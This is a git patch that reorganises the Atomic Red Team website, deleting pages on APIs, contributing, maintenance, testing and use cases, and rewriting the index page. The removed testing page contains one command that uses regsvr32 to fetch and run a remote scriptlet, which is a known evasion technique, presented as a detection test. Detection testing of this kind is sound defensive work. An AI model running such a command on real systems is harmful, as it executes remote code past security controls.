From 57d2b182341a44925eac87f78b2da13b0b9bb013 Mon Sep 17 00:00:00 2001 From: amashinchi-rc <78813159+amashinchi-rc@users.noreply.github.com> Date: Fri, 30 Jul 2021 10:38:09 -0700 Subject: [PATCH] Revise website markdown files. Remove unused pages. --- docs/apis.md | 107 -------------------------------------- docs/contributing.md | 116 ------------------------------------------ docs/index.md | 57 +++++++++------------ docs/maintainers.md | 35 ------------- docs/related.md | 12 ----- docs/roll-the-dice.md | 50 ------------------ docs/testing.md | 86 ------------------------------- docs/use-cases.md | 42 --------------- 8 files changed, 24 insertions(+), 481 deletions(-) delete mode 100644 docs/apis.md delete mode 100644 docs/contributing.md delete mode 100644 docs/maintainers.md delete mode 100644 docs/related.md delete mode 100644 docs/roll-the-dice.md delete mode 100644 docs/testing.md delete mode 100644 docs/use-cases.md diff --git a/docs/apis.md b/docs/apis.md deleted file mode 100644 index 45df61f0..00000000 --- a/docs/apis.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -layout: default ---- - -# Using the Atomic Red Team APIs -Atomic Red Team includes a Ruby API we use to validate atomic tests, generate docs, and -[interact with ATT&CK](#bonus-apis-ruby-attck-api). - -## Ruby API - -Atomic Red Team comes with a Ruby API that we use when validating tests again our spec, generating -documentation in Markdown format, etc. - -### Installing -Add atomic-red-team to your Gemfile: -```ruby -gem 'atomic-red-team', git: 'git@github.com:redcanaryco/atomic-red-team.git', branch: :master -``` - -### Example: print all the Atomic Tests by ATT&CK technique -```ruby -require 'atomic_red_team' - -AtomicRedTeam.new.atomic_tests.each do |atomic_yaml| - puts "#{atomic_yaml['attack_technique']}" - atomic_yaml['atomic_tests'].each do |atomic_test_yaml| - puts " #{atomic_test_yaml['name']}" - end -end -``` - -### Example: Show what atomic tests we have for a specific ATT&CK technique -```ruby -require 'atomic_red_team' - -AtomicRedTeam.new.atomic_tests_for_technique('T1117').each do |atomic_test_yaml| - puts "#{atomic_test_yaml['name']}" -end -``` - -For additional examples, see the utilities in `bin/` or the API code in `atomic_red_team`. - -## Bonus APIs: Ruby ATT&CK API -Atomic Red Team pulls information about ATT&CK techniques using the STIX definitions of ATT&CK located -on [MITRE's CTI Github](https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json). - -We created a lightweight wrapper around that data structure to make it simple to consume. If you -would like to use it, install the atomic-red-team gem as [described above](#using-the-atomic-red-team-api), -and then: - -```ruby -$ bundle exec irb -2.2.0 :001 > require 'attack_api' -``` - -### Example: Get all the techniques -```ruby -2.2.0 :020 > Attack.new.techniques.count - => 219 -``` - -### Example: Get information about a technique by it's friendly identifier -```ruby -2.2.0 :006 > Attack.new.technique_info('T1117') - => {"name"=>"Regsvr32", "description"=>"Regsvr32.exe is a command-line program used to register and unregister - object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can - be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this - functionality to proxy" } - -2.2.0 :007 > Attack.new.technique_info('T1117').keys - => ["name", "description", "kill_chain_phases", "external_references", "object_marking_refs", "created", - "created_by_ref", "x_mitre_platforms", "x_mitre_data_sources", "x_mitre_defense_bypassed", - "x_mitre_permissions_required", "x_mitre_remote_support", "x_mitre_contributors", "id", "modified", "type"] -``` - -### Example: Get a map of ATT&CK Tactic to all the Techniques associated with it -```ruby -2.2.0 :019 > Attack.new.techniques_by_tactic.each {|tactic, techniques| puts "#{tactic} has #{techniques.count} techniques"} -persistence has 56 techniques -defense-evasion has 59 techniques -privilege-escalation has 28 techniques -discovery has 19 techniques -credential-access has 20 techniques -execution has 31 techniques -lateral-movement has 17 techniques -collection has 13 techniques -exfiltration has 9 techniques -command-and-control has 21 techniques -initial-access has 10 techniques -``` - -### Example: Getting a 2D array of the ATT&CK matrix of Tactic columns and Technique rows: -```ruby -2.2.0 :062 > Attack.new.ordered_tactics - => ["initial-access", "execution", "persistence", "privilege-escalation", "defense-evasion", "credential-access", - "discovery", "lateral-movement", "collection", "exfiltration", "command-and-control"] - -2.2.0 :071 > Attack.new.ordered_tactic_to_technique_matrix.each {|row| puts row.collect {|technique| technique['name'] if technique}.join(', ')}; -Drive-by Compromise, AppleScript, .bash_profile and .bashrc, Access Token Manipulation, Access Token Manipulation, Account Manipulation, Account Discovery, AppleScript, Audio Capture, Automated Exfiltration, Commonly Used Port -Exploit Public-Facing Application, CMSTP, Accessibility Features, Accessibility Features, BITS Jobs, Bash History, Application Window Discovery, Application Deployment Software, Automated Collection, Data Compressed, Communication Through Removable Media -Hardware Additions, Command-Line Interface, AppCert DLLs, AppCert DLLs, Binary Padding, Brute Force, Browser Bookmark Discovery, Distributed Component Object Model, Clipboard Data, Data Encrypted, Connection Proxy - -, , Winlogon Helper DLL, , Timestomp, , , , , , -, , , , Trusted Developer Utilities, , , , , , -, , , , Valid Accounts, , , , , , -, , , , Web Service, , , , , , -``` diff --git a/docs/contributing.md b/docs/contributing.md deleted file mode 100644 index eb87acb6..00000000 --- a/docs/contributing.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -layout: default ---- - -# Contributing to Atomic Red Team -*NOTE: An updated version of this contributing reference is found over on the Wiki [here](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) * - -- [Atomic Philosophy](#atomic-philosophy) -- [How to contribute](#how-to-contribute) -- [Atomic Test structure](#atomic-test-structure) -- [Generating Atomic docs yourself (optional)](#generating-atomic-docs-yourself-optional) - -## Atomic Philosophy -Atomic Red Team welcomes all types of contributions as long as it is mapped to -[MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page). A few guidelines: - -- Tests are made to be "easy". If your Atomic Test is complicated and requires multiple external utilities/packages/Kali, - we may ask that you simplify it. - -- TEST YOUR ATOMIC TEST! Be sure to run it from a few OSes/platforms before submitting a pull request to ensure - everything is working correctly. - -- If sourcing from another tool/product (ex. generated command), be sure to cite it in the test's description. - -## How to contribute - -### The Quick and Easy Way (GUI based) - -For a quick walk through of how to generate a new atomic test and submit a pull request you can [view this walkthrough](https://youtu.be/l1zwudJkev0). This method is the most simple way of doing a pull request using the GitHub web interface. Otherwise, you can go through the more traditional process of using the git command line as follows. - -### The Traditional Way (Command Line) -#### Fork -[Fork the atomic-red-team repository in Github](https://github.com/redcanaryco/atomic-red-team/fork), then checkout -the repository and make a branch for your new test: -```bash -git clone git@github.com/YOUR_GITHUB_ACCOUNT/atomic-red-team -cd atomic-red-team - -git checkout -b t1234-something-describing-your-test -``` - -#### Add Atomic Test -Pick the technique you want to add a test for (ie, T1234) and run the generator. This makes -a new test for the technique with a bunch of TODOs you'll fill in and opens up your editor -so you can get to work. - -```bash -bin/new-atomic.rb T1234 -``` - -> Don't have Ruby? Use the Atomic Test template [here]({{ site.github.repository_url }}/blob/master/atomic_red_team/atomic_test_template.yaml) as a starting point for your new test. - -Fill in the TODOs with the information for your test. See the [Atomic Test structure](#atomic-test-structure) section below. - -#### Validate -Validate that your Atomic Test is up to spec! - -```bash -bin/validate-atomics.rb -``` - -> Don't have Ruby? The automated build system will validate the techniques on your branch as soon as you commit to your branch and push to your fork. - -#### Push it -Submit a Pull Request once your test is complete and everything validates. -```bash -git add atomics/T1234 -git commit -m "Add test for T1234 that does XYZ" -git push -u origin $(git branch |grep '*'|cut -f2 -d' ') -``` - -Go to github.com/YOUR_GITHUB_ACCOUNT/atomic-red-team and follow the -instructions to create a new Pull Request. - -## Atomic Test structure -This spec describes the format of Atomic Red Team atomic tests that are defined in YAML format. - -The Atomic YAML schema is specified in the [Atomic Red Team YAML Spec]({{ -site.github.repository_url }}/blob/master/atomic_red_team/spec.yaml). See that -file for complete details about what each field means and a list of possible values. - -The source of truth for a test is the YAML file - the associated human readable Markdown file is automatically -generated via `bin/generate-atomic-docs.rb` and `atomic_red_team/atomic_doc_template.md.erb`. - -The directory structure is: -- Tests reside in the `atomics` directory -- One directory per ATT&CK technique, named as `T1234` -- All the atomic tests for a technique in a file named `T1234.yaml` inside that directory -- The YAML file and the auto-generated .md file should be the only files within the technique's directory -- If necessary any payloads, supporting materials, etc. for the atomic tests should be put in the following subdirectories: - /bin for compiled, executable files - /src for all source code including scripts such as .ps1 and .py files - -For example: - -``` -atomic_red_team/ -atomic_red_team/atomics -atomic_red_team/atomics/T1234 -atomic_red_team/atomics/T1234/T1234.yaml <-- where all the atomic tests for a technique live -atomic_red_team/atomics/T1234/src/payload1.sct <-- payload file needed by one of the T1234 atomics -``` - -In general, a set of atomic tests for a technique should never depend on payloads -or supporting files from other atomic directories. We want to keep things nice and close. -Use git symlinks if you really need to share files between techniques. - -## Generating Atomic docs yourself (optional) -If you want to see what the pretty Markdown version of your Atomic Test is going to look like, -you can generate the Atomic Docs yourself: - -``` -bin/generate-atomic-docs.rb -``` - -The CircleCI build will automatically generate docs and commit them to master when your pull request is merged. diff --git a/docs/index.md b/docs/index.md index 2f72c8bb..dde62c89 100644 --- a/docs/index.md +++ b/docs/index.md @@ -2,48 +2,39 @@ layout: default --- -# Using Atomic Red Team to test your security +# Meet the Atomic Family -Our Atomic Red Team tests are small, highly portable detection tests mapped to the MITRE ATT&CK Framework. Each test -is designed to map back to a particular tactic. This gives defenders a highly actionable way to immediately start -testing their defenses against a broad spectrum of attacks. +The Atomic Family makes it easier than ever to mount an effective defense +against malicious activity. -![Markdown example](assets/images/technique-md-example.png) +## Atomic Red Team -# A quick history +A library of simple, focused tests mapped to the MITRE ATT&CK® matrix. Each +test runs in five minutes or less, and many tests come with easy-to-use +configuration and cleanup commands. -We initially created Atomic Red Team as a way to test Red Canary’s detection coverage against the best adversary -tactic/technique taxonomy, Mitre's ATT&CK. Our Detection Engineering team had a well baked unit testing process but -wanted to add "functional testing". Atomic Red Team was born. +## Invoke-Atomic -We soon realized that we could help teams use the same approach to evaluate Red Canary and other detection and -response products to assess their coverage. The standard testing method of using malware samples from VirusTotal or -other malware sharing sites was an exceptionally poor representation of a real-world adversary. And you simply -couldn't trust most vendors to give you unbiased samples. +A PowerShell-based framework for developing and executing atomic tests. With +PowerShell Core, security teams can execute tests across multiple platforms and +over a network. -With these principles in mind, we publicly launched Atomic Red Team. The response we received was, honestly, a bit -overwhelming and showed us that there was a massive need in the community for this type of project. We are -especially grateful to the MITRE ATT&CK team, whose great work has given us a great taxonomy to work within. +## AtomicTestHarnesses -# Key Beliefs +A PowerShell module for executing many variations of an attack technique at +once. AtomicTestHarnesses also include tests to validate test execution and +telemetry. -## Teams need to be able to test everything from specific technical controls to outcomes. -Security teams do not want to operate with a "hopes and prayers" attitude toward detection. We need to know -what our controls and program can detect, and what they cannot. We don’t have to detect every adversary, but we do -need to believe in knowing our blind spots. +## Chain Reactor -## We should be able to run a test in less than five minutes. -Most security tests and automation tools take a tremendous amount of time to install, configure, and execute. We -coined the term “atomic tests” because we felt there was a simple way to decompose tests so most could be run -in a few minutes. +A tool for testing detection and response coverage on Linux machines. Chain +Reactor produces customizable executables that simulate sequences of actions +like process creation and network connection. -**The best test is the one you actually run.** +# Join the community -## We need to keep learning how adversaries are operating. -Most security teams don’t have the benefit of seeing a wide variety of adversary types and techniques crossing -their networks every day. Even at Red Canary we only come across a fraction of the possible techniques being -used, which makes the community working together essential to making us all better. +Stay connected by joining our +[Slack workspace](https://slack.atomicredteam.io/). -![Markdown example](assets/images/list-of-tests.png) - -### Ready to start testing? [Get started!](https://atomicredteam.io/testing) +Subscribe to the [Red Canary blog](https://redcanary.com/blog/) for tips, +tricks, and updates. diff --git a/docs/maintainers.md b/docs/maintainers.md deleted file mode 100644 index cd71135d..00000000 --- a/docs/maintainers.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -layout: default ---- - -# Purpose -This document serves as a reference for the Atomic Red Team maintainers. It is used to capture administrative processes, lessons, and others reference useful to those who join the maintainers team in the future. - -# Project Management -Issues should be used to track all proposed or planned changes to Atomic Red Team. - -Milestones should be used to track all major features or changes, most of which will require that we define and complete multiple issues. - -Any breaking change or major feature should be communicated to the community via Slack, using the following process: - -1. Announce the issue or milestone in #general -2. Follow up on the original announcement with a link to any public branch that can be reviewed for comment. -3. Once comments and questions have been resolved, announce that the issue will be merged on $date. - * For major features, a day's notice is sufficient. - * For breaking changes, 14-30 days notice is ideal. This will require some context (i.e., maintainer's knowledge of how much will break and how badly) - -# Maintainers Meeting Cadence - -## Sync Meetings -Sync meetings are more frequent and less formal, and may be conducted via Zoom, Slack, or email depending on the nature of issues to be discussed. Items that are commonly raised during sync meetings include: - -1. Progress or communications related to milestones -1. Issues labeled `maintainers` or that are otherwise blocked -2. Time-sensitive decisions that need to be made - -## Planning Meetings -Planning meetings are less frequent, and minutes will be kept and published via GitHub. These meetings are conducted via Zoom, and require that a majority of the core maintainers team be present. - -1. Review existing milestones and progress -2. Identify future milestones -3. Prioritize and tentatively schedule future milestones diff --git a/docs/related.md b/docs/related.md deleted file mode 100644 index bae27394..00000000 --- a/docs/related.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -layout: default ---- - -# Related Resources - -Projects and resources related to Atomic Red Team. - -* [ART-Utils](https://github.com/haresudhan/ART-Utils) -* [Atomic Red Team Simple Parser](https://github.com/AlfredoAbarca/ARTSP) -* [AtomicTestHarnesses](https://github.com/redcanaryco/AtomicTestHarnesses) -* [Invoke-Atomic](https://github.com/redcanaryco/invoke-atomicredteam) diff --git a/docs/roll-the-dice.md b/docs/roll-the-dice.md deleted file mode 100644 index e60ab7de..00000000 --- a/docs/roll-the-dice.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -layout: default ---- - -# Roll the Dice - -Not sure where to start? Roll the dice to select a random Atomic Test from the catalog. Kudos to -[Tim Malcomvetter](https://medium.com/@malcomvetter/red-team-use-of-mitre-att-ck-f9ceac6b3be2) and -[Tim McG](https://www.twitter.com/NotMedic) for the idea. - -
- Roll the dice! -
- - - - - - - - - - - - - - -
Tactic -

-
Technique -

-
Atomic Test -

-
-
-

- Platforms: - -

-
-
-

Input Arguments:

- 

-      

-      

-      

-      

-      

-      
Learn more at 

-    

diff --git a/docs/testing.md b/docs/testing.md
deleted file mode 100644
index 6d8c1799..00000000
--- a/docs/testing.md
+++ /dev/null
@@ -1,86 +0,0 @@
----
-layout: default
----
-
-# Getting Started Testing with Atomic Tests
-
-
-
-We suggest a phased approach to running a test and evaluating your results:
-
-1. [Select a test](#select-a-test)
-2. [Execute Test](#execute-test)
-3. [Collect Evidence](#collect-evidence)
-4. [Develop Detection](#develop-detection)
-5. [Measure Progress](#measure-progress)
-
-## Best Practices
-
-* Be sure to get permission and necessary approval before conducting tests. Unauthorized testing is a bad decision
-and can potentially be a resume-generating event.
-
-* Set up a test machine that would be similar to the build in your environment. Be sure you have your collection/EDR
-solution in place, and that the endpoint is checking in and active.
-
-* Spend some time developing a test plan or scenario. This can take many forms. An example test plan could be to
-execute all the Discovery phase items at once in a batch file, or run each phase one by one, validating coverage as you go.
-
-## Select a test
-Select one or more Atomic Tests that you plan to execute. A complete list, ATT&CK matrices, and platform-specific
-matrices linking to Atomic Tests can be found here:
-
-- [Complete list of Atomic Tests](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/index.md)
-- [Atomic Tests per the ATT&CK Matrix](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Matrices/matrix.md)
-- Windows [Tests](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/windows-index.md) and [Matrix](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Matrices/windows-matrix.md)
-- macOS [Tests](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/macos-index.md) and [Matrix](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Matrices/macos-matrix.md)
-- Linux [Tests](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/linux-index.md) and [Matrix](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Matrices/linux-matrix.md)
-
-## Execute Test
-
-In this example we will use Technique `T1218.010 "Regsvr32"` and Atomic Test `"Regsvr32 remote COM scriptlet execution"`. This particular 
-test is fairly easy to exercise since the tool is on all Windows workstations by default.
-
-The details of this test, [which are located here](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/T1218.010.md#atomic-test-1---regsvr32-local-com-scriptlet-execution),
-describe how you can test your detection by simply running the below command:
-
-```
-regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct scrobj.dll
-```
-
-## Collect Evidence
-
-What does your security solution observe?
-- You may see a file modification in the user’s profile.
-- You may detect network connections made by regsvr32.exe to an external IP.
-- There may be an entry in the proxy logs.
-- You may observe the scrobj.dll loading on Windows.
-- Or you might not observe any behavior on the endpoint or network.
-
-This is why we test! We want to identify visibility gaps and determine where we need to make improvements.
-
-![RC Timeline](https://www.redcanary.com/wp-content/uploads/image9-1.png)
-
-![Cb example 1](https://www.redcanary.com/wp-content/uploads/image5-3.png)
-
-![Cb Example 2](https://www.redcanary.com/wp-content/uploads/image7-2.png)
-
-## Develop Detection
-
-So you executed the test and none of your defenses fired – that’s why we test! Based on your observations
-and detection capabilities, it is time to use what you have to try to detect this event in your environment.
-
-![Unwind Data](https://www.redcanary.com/wp-content/uploads/image8-1.png)
-
-Once the detection is built, it is time to validate that the detection is working and that it is appropriately
-tuned. If you were to write your detection too broadly and “detect” every regsvr32.exe without any suppression,
-you are going to be digging out from a mountain of false positives. But if you write it too narrow and it
-only detects regsvr32.exe with the exact command line `/s /u /i` then all an attacker has to do is slightly
-modify their command line to evade your detection.
-
-## Measure Progress
-
-One of the goals is to try to measure your coverage/capabilities against the ATT&CK Matrix and to identify where you may have gaps. Roberto Rodriguez ([@cyb3rWar0g](https://twitter.com/Cyb3rWard0g)) provided [this spreadsheet](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook/blob/master/metrics/HuntTeam_HeatMap.xlsx) and complementary [blog post](https://cyberwardog.blogspot.com/2017/07/how-hot-is-your-hunt-team.html) showcasing how to determine where you stand within your organization in relation the MITRE ATT&CK Matrix.
-
-![HeatMap](https://www.redcanary.com/wp-content/uploads/image4-5.png)
-
-![Measure](https://www.redcanary.com/wp-content/uploads/image6-2.png)
diff --git a/docs/use-cases.md b/docs/use-cases.md
deleted file mode 100644
index aadc5a8f..00000000
--- a/docs/use-cases.md
+++ /dev/null
@@ -1,42 +0,0 @@
----
-layout: default
----
-
-# Use Cases
-
-## Test your production security controls
-You have one or more security controls in production today. But do you know
-how they perform when presented with specific adversary techniques? Atomic Red
-Team can be used to introduce known adversary techniques in a controlled manner. 
-
-*Questions to ask* 
-- Are we receiving signals for all observable events?
-- Are we receiving alerts for events that should occur with low frequency, or
-  that have a high impact?
-
-## Testing the coverage of a product during a proof of concept
-The original use case for Atomic Red Team, these tests are an invaluable means
-of validating vendor claims, or objectively measuring the presence or quality
-of signals across multiple products.
-
-*Questions to ask* 
-- Are we receiving signals for all observable events?
-- Are we receiving alerts for events that should occur with low frequency, or
-  that have a high impact?
-- Is alerting for a given event deterministic, or does it depend on runtime
-  context (i.e,. user, parent/child process attributes, etc.)?
-
-## Testing your analysis team and processes
-While it is ideal that technical controls be tested and understood, it is
-critical that information security leaders understand how their
-operational capability--the combination of technical controls, expertise, and
-response processes--perform in the face of a determined adversary. 
-
-*Questions to ask*
-- Do one or more of our technical controls identify the test or Chain Reaction? 
-- Does detection depend on automated correlation? On human analysis? 
-- In any event, how quickly do we detect the activity?
-- How long does it take us to contain, remediate, recover?
-- What is the signal-to-noise ratio for the detection critiera used to
-  identify the activity? Is it sustainable, in conjunction with the criteria
-  required to cover a greater percentage of the ATT&CK matrix?